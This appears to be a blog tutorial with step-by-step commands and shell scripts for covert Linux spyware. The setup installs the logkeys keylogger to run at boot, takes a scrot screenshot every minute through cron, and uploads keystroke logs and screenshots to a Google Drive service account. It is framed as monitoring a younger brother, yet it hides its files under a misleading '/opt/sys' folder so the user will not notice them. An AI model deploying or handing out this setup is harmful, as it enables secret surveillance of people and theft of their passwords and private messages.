How to create a Spy/Monitoring System in *nix system

Parental watch at its best

Image for post
Image for post
Credits: Unsplash

Have you been worried as a parent for what stuff do your children watch on computer? Well I have been too. But, not exactly.

I’m not a parent but I have a younger brother who needs monitoring. He gets distracted very often and feeds us lies when asked “What productive work did you do on computer?”

I know, I know what you all are thinking. Is this guy a SADIST? Why not let the growth of kid take a natural course? Why not let the kid explore the open world?

Well you are right! But learning needs focus. And without focus any type of learning is quite impossible be it cooking, driving, programming, etc. If the person knows what he does is wrong and knows he’s being monitored; he won’t dare get distracted. Yes, I installed the monitoring system only after I told my brother I would be setting such a surprise in your computer.

I created a spy system which logs all the keys and clicks a screenshot every minute then sends both (the key input logs and the screenshot) to your google drive. It lacks Windows & Mac support out of the box (as of now), but will make it multi platform soon along with other improvements that I have in mind. I only tested it on Ubuntu but should work on all other Linux distributions as well.

TLDR; or maybe you can if you want to!

Though the process is not much complicated but I’d feel proud if my brother gets frustrated it enough to hack it. Well I wanted him to learn things. If he’s able to hack it. That’d be a proud moment. Because in the process he would have learned a lot. Let’s see how things unfold. Without further ado!

Let’s start; (Drum Roll please)

Step 1: Setup key logger

First I started with selecting the key logger, I used logkeys available on ubuntu repositories:

sudo apt-get install logkeys

I tested it after installing:

mkdir ~/Logs                             #create directory for logs
touch ~/Logs/keys.log #you can use any file name
sudo logkeys --start -o ~/Logs/keys.log #only works as root

Open another terminal and check the logs in live preview:

tail --follow ~/Logs/keys.log

At first nothing came:

Then I got to know I need to specify keyboard layout as well, so I downloaded the map from here and used en_US_ubuntu_1204.map. Even though it states it’s for Ubuntu 12.04 but it worked on my Ubuntu 16.04 LTS system just fine:

cd ~/Logs
sudo logkeys --kill
sudo logkeys -m en_US_ubuntu_1204.map --start -o keys.log
Image for post
Image for post

Note: The example is for only primary keyboard (tested on laptop), if using another keyboard, we’d need to point to it using -d parameter of logkeys to supply device event explicitly. Read more here.

Now, I wanted logger to be system wide not user specific. So, instead of using home of the user, which is denoted by ~/. I used the path /opt/sys/Logs for logs. Placed the map file and log file in the /opt/sys/Logs only.

I used sys as folder name to create confusion for the user, in case he visits /opt folder

Next, I wanted Key logger to start at system startup:

sudo -H nano /etc/init.d/logkeys

The script will be opened in nano text editor and look something like this:

Image for post
Image for post

Comment out the highlighted tests:

Image for post
Image for post
Image for post
Image for post

Set program options, which are parameters we put every time (highlighted):

DAEMON_OPTS="-s -m /opt/sys/log/en_US.map -o /opt/sys/log/keys.log"
Image for post
Image for post

Optional: I added few lines of code so that the log file (keys.log) is recreated at every startup:

logPath="/opt/sys/log"
cd $logPath
logFileToRemove=`ls | grep "keys*"`
rm $logFileToRemove
touch keys.log
Image for post
Image for post

Then, save and exit:

Ctrl + X
Y
[Enter Key]

Then start the service:

sudo service logkeys start

The key logger will now start at every boot/reboot.

Step 2: Setting up the screenshot application

I used scrot:

sudo apt-get install scrot

Note: Read this carefully, this took me more than 2 days to resolve. You cannot run scrot as root (superuser) if you’re logged in with non root user. Every time scrot is invoked, it searches for X instance of the user who invoked it, since any screenshot application just gives us the photo of X windows at that instance (X instance means X.org server instance used to render GUIs on Linux systems.)

For example: If you are logged in with username James so you can only take screenshots as James:

scrot ~/screenshot.png # here ~/ is equivalent to /home/james

If you do something like this:

sudo scrot /opt/sys/screenshot.png #Or something similar

to try to make Screenshot configuration system wide, it won’t work because it’ll search for running instance of X.org attached to the superuser (root) which doesn’t exist if you’re logged in as James.

Step 3: Setting up Google Service Account for unhindered drive access

Why are we doing this? Because whenever we use Google Drive API, we need to explicitly visit a URL → authenticate it with button click → Copy Auth token → Paste it to required app. We don’t want that. It’s a spying system, remember? We won’t be able to do that. We need a method to authenticate it without handling authentication requests explicitly.

Visit this URL and click on Create button on the pop-up dialogue box:

Image for post
Image for post

Type a project name of your choice and hit Create:

Image for post
Image for post

Click on Create Service Account on the top:

Image for post
Image for post

Type in your details and hit Create:

Image for post
Image for post

Select Role as “Owner” and hit Continue:

Image for post
Image for post

Scroll down and click on Create Key:

Image for post
Image for post

A key file in JSON format would be download, we will refer to it as JSON key in future:

Image for post
Image for post

Your service account is now set up.

GDrive accessed from Service account is different from your personal GDrive account. The plan is to create a folder in Service Account’s GDrive →Make it shareable →Access it from your google drive

Step 4: Setting up Service Account’s GDrive

mkdir /opt/sys/src
cd /opt/sys/src

Copy your JSON Key to /opt/sys/src

Now, we have to run some python scripts, to do that we need to get the required dependencies,

wget https://raw.githubusercontent.com/techfreakworm/spybot/master/sys/src/requirements.txt                # get the name and version of depspip install -r requirements.txt   # for current user
sudo su # shell as root user
pip install -r requirements.txt # install as root

Now let’s go get those bi**hes.. scripts, I meant scripts :P. And yeah, I hope if you’ve come this far you already know how to execute a python script. But, if you don’t. Here’s how you do it:

python <SCRIPT_NAME ALONG WITH PATH>  
#Don't provide path if you're in same directory

Psst! If you don’t have python installed, I won’t help. :P

  • Create a Folder in drive, I’ve created a folder named Logs (line 17) but you can change it as per your need, spyer-techfreak-a4558b616283.json is the complete name of my JSON KEY:
  • Get a link to access the folder:

This will different attributes like name, id, webViewLink, permissionId, etc (see line 24). Copy and save the id and webViewLink for Logs folder somewhere.

  • Give permissions to your personal account, change file_id (line 16) with your id of Logs folder (noted in previous step) and emailAddress (line 28) to your personal email address with which your GDrive is associated. Also, you can choose the access type (read or read/write). For read/write access, change role (line 27) to writer from reader.

Now, when you go to the webViewLink you noted down in previous step, you’ll be able to access Logs folder (of Service Account’s GDrive) from your own GDrive

Image for post
Image for post
  • Now, let’s test and upload files, get the below script:

And, run the below commands:

mkdir /opt/sys/toUploadtouch /opt/sys/toUpload/demoScreenshot.png
touch /opt/sys/toUpload/demokeyLog.log
python uploadToDrive.py demokeyLog.log demoScreenshot.png

We’d move everything that needs to be uploaded in /opt/sys/toUpload/ before executing the script.

Image for post
Image for post

F**k yeah! It works! Now let’s automate every single f**king thing. Because we don’t want to put any key input but want to get every key input (If you know what I mean :P).

Step 5: Automation & Scheduling

Everything would be stored in /opt/sys/src along with all python scripts

  • copyToUpload.sh (to copy logs and screenshots in toUpload directory)
#!/bin/bashuploadSourcePath="/opt/sys/toUpload"
logPath="/opt/sys/log"
srcPath="/opt/sys/src"
dateTime=`date '+%F_%T'`cd $logPathsourceFile=`ls | grep "keys_20*"`mv $sourceFile $uploadSourcePath/$sourceFile.txtmv /home/<YOUR USERNAME>/tempCache.png $uploadSourcePath/$dateTime.png
  • logRename.sh (to copy key logs in current state and add a timestamp)
#!/bin/bashlogPath="/opt/sys/log"cd $logPath
dateTime=`date '+%F_%T'`
sourceFile="keys.log"
destinationFile="keys_$dateTime.log"
cp $sourceFile $destinationFile
  • bootstrap.sh
#!/bin/bashsrcPath="/opt/sys/src"
uploadSourcePath="/opt/sys/toUpload"
cd $uploadSourcePath
cd $srcPath
./logRename.sh
echo "Logs Renamed"
./copyToUpload.sh
echo "Copied to upload directory"
photo=`ls $uploadSourcePath| grep "png"`
log=`ls $uploadSourcePath| grep "log"`
echo "variables set are:"echo $photo
echo $log
python uploadToDrive.py $log $photo
echo "Python script executed"
cd $uploadSourcePath
rm *.png
rm *.txt
echo "files removed"
  • Schedule capturing of screenshot every minute:
crontab -e

This will be open a file in nano editor, add this in last line :

* *   *   *   *    export DISPLAY=:1 && scrot  ~/tempCache.png

If you want the change the duration of minute interval. For example if you the schedule to run every 15 minutes and not every minute. Then do this:*/15 * * * * export DISPLAY=:1 && scrot ~/tempCache.png

  • Schedule the upload to drive
sudo nano /etc/crontab

This will again open a nano editor, add this in the last line:

*  *    * * *   root    cd /opt/sys/src/  && ./bootstrap.sh

We’re done! Hand over the computer to the person you want to monitor. Happy monitoring :)

Upcoming features:

  • Generic setup procedure for Windows, Mac and Linux (all distributions)
  • One command install, just run one command and everything will be setup on its own (Except setting up of service account)
  • Command figuration (configuration through command line :P). Will able to provide every setting like directory name, path, etc. through command line. And things will execute respectively
  • Command line utility to manage Service Account Google drive (separate project)
  • YouTube video of the whole procedure
  • Most importantly, HOW to check if this process is already running on your machine! :P

Find the complete project here.

Wanna connect? #LinkedIn #Facebook #Twitter #Plus #Github

Written by

I’m a full time Data Scientist, part time software developer, stock market enthusiast and GSOC’17 veteran. https://mayankgupta.in

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store